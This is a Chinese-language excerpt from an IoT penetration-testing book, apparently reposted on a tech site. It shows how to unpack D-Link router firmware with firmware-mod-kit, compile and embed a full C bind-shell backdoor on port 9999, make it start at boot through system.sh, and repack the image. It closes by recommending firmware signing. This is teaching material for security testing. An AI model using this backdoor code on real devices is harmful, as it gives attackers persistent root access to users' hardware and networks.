物联网渗透测试(十三):使用 firmware-mod-kit(FMK) 在固件中添加后门

发布于:2020 年 5 月 21 日 10:00

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

编者按:本文节选自华章网络空间安全技术丛书《物联网渗透测试》一书中的部分章节。

使用 firmware-mod-kit(FMK)在固件中添加后门

在漏洞利用过程中,经常需要用到的一种方法就是篡改固件。也就是从固件中提取文件系统,对其内容进行修改,然后再将其重新打包成新的固件,随后攻击者可以将这个新打包的固件刷进设备。

准备工作

固件篡改的过程会用到工具 FMK,该工具由 Jeremy Collake 和 Craig Heffner 开发。FMK 不仅可以利用 Binwalk 或其他工具从固件中提取出文件系统,还具有将篡改后的文件系统重新打包成新固件的功能。

FMK 可以从 https://github.com/brianpow/firmware-mod-kit/ 下载,如果读者之前从 GitHub 中克隆了 FAT 代码,那么该工具应该已经存在于读者的系统中了。下载完该工具后,接下来我们就可以找一个固件一试身手了。出于简单起见,同时让本书的读者在无须投入资金购买硬件的情况下也能够复现以下步骤,我们主要以能够采用 FAT 进行仿真的固件为例进行介绍。

测试流程

篡改固件的步骤如下:

1)在本例中我们使用的固件来自 D-Link DIR-300 路由器。在这里我们使用 FMK 目录下的 extract-firmware.sh 脚本从固件中提取文件系统,而未使用 Binwalk。操作命令如图 1 所示。

复制代码
./extract-firmware.sh Dlink_firmware.bin

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

图 1

提取出固件后,脚本会生成一个新目录,其中包括 rootfs、image_part 和 logs 等文件夹。由于攻击者的目的大多是添加后门和修改固件,因此这里我们只关心 rootfs 文件夹。

rootfs 文件夹中包含了固件中的整套文件系统。而我们所要做的工作就是在固件中添加后门,然后找到固件启动后自动调用后门的方法。

2)首先查看固件所基于的架构。对固件中任一文件执行 readelf 命令就可以查看其架构,以 BusyBox 文件为例,命令执行结果如图 2 所示。

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

图 2

3)正如我们从图 2 中看到的,固件是基于 MIPS 小端架构的。这意味着我们需要开发符合 MIPS 小端架构的后门并进行编译。下面是我们将要使用的后门源码,该后门由 Osanda Malith 开发编写:

复制代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 9999
/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
* Bind Shell using Fork for my TP-Link mr3020 router running busybox
* Arch : MIPS
* mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc
*/
int main() {
int serverfd, clientfd, server_pid, i = 0;
char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
Analyzing and Exploiting Firmware
struct sockaddr_in server, client;
socklen_t len;
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 1);
while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
server_pid = fork();
if (server_pid) {
write(clientfd, banner, strlen(banner));
for(; i <3 /*u*/; i++) dup2(clientfd, i);
execve("/bin/busybox", args, (char *) 0);
close(clientfd);
} close(clientfd);
} return 0;
}

代码写好后,我们就可以使用针对 MIPSEL 架构的 Buildroot,并使用该 Buildroot 构建的交叉编译器编译代码。这里不对安装配置 Buildroot 的过程进行过多介绍,因为这个过程非常简单,并且在 Buildroot 的说明文档中已经进行了详细说明。

4)为 MIPSEL 架构创建了交叉编译器后,我们接下来将 bindshell.c 编译为能够植入文件系统的二进制文件 bindshell:

复制代码
./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static -o
bindshell

下一步是在文件系统中寻找可以放置该二进制文件的地方,以及如何在启动过程中将其设置为自启动。这里我们的思路是分析在启动过程中自动调用的脚本,看看是否能够实现自启动。

5)在文件系统中,我们可以在 etc/templates/ 目录中放入后门的二进制文件,然后在 system.sh 脚本中调用该二进制文件,其中 system.sh 脚本位于 /etc/scripts/ 目录下,脚本编写如图 3 所示。

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

图 3

6)接下来使用 build-firmware.sh 脚本将修改后的文件系统重新打包为新的固件,打包过程如图 4 所示。

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

图 4

执行完成后,会在目录 firmware-name/ 中生成新的固件,新固件名为 new-firmware.bin。

7)此时就创建完成了新的固件镜像,我们可以将新固件复制到 FAT 目录中,并通过仿真来验证新添加的后门是否能够正常运行。这里同之前固件仿真的步骤相同。操作步骤如图 5 所示。

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

图 5

如图 5 所示,固件仿真时获得的 IP 地址为 192.168.0.1,此时可以尝试访问该地址。但我们更关注在固件中添加的后门 bindshell 是否已经成功启动。

8)现在尝试运行 Netcat 连接目标 IP 的 9999 端口,检查后门是否成功启动,如图 6 所示。

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

图 6

根据执行结果,可以看到我们已经对固件进行了修改并成功植入了后门,因此此时成功获得了设备中具有 root 权限的 shell。而获得拥有 root 权限的 shell 之后,用户还可以修改设备的其他配置,或者将其作为跳板远程访问其他植入恶意固件的设备。

测试分析

固件篡改的功能强大,对于攻击者而言是梦寐以求的目标。这是因为,如果能够实现对固件的篡改,那么攻击者就能够实现绕过保护机制、移除安全防护措施等操作。而利用本章介绍的 FMK 等工具,攻击者可以很容易地将自己开发的恶意软件或后门植入到任意 IoT 设备固件中,这样攻击者就可以在全球任何地方通过后门访问 IoT 设备了。

正是由于固件篡改在攻击者手中具有如此强大的威力,所以如果能够对固件进行签名和校验值验证,那么对于防止恶意修改固件的攻击而言将具有非常重要的意义。

图书简介 https://item.jd.com/12623610.html

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

相关阅读

物联网渗透测试(一):简介

物联网渗透测试(二):IoT 中的 Web 应用

物联网渗透测试(三):IoT 中的 移动应用

物联网渗透测试(四):IoT 渗透测试环境的部署

物联网渗透测试(五):威胁建模概念简介

物联网渗透测试(六):IoT 设备威胁建模剖析

物联网渗透测试(七):固件威胁建模

物联网渗透测试(八):IoT Web 应用威胁建模

物联网渗透测试(九):IoT 移动应用威胁建模

物联网渗透测试(十):固件分析方法

物联网渗透测试(十一):固件分析流程

物联网渗透测试(十二):MIPS 架构下的漏洞利用

阅读数:1 发布于:2020 年 5 月 21 日 10:00

评论

发布
暂无评论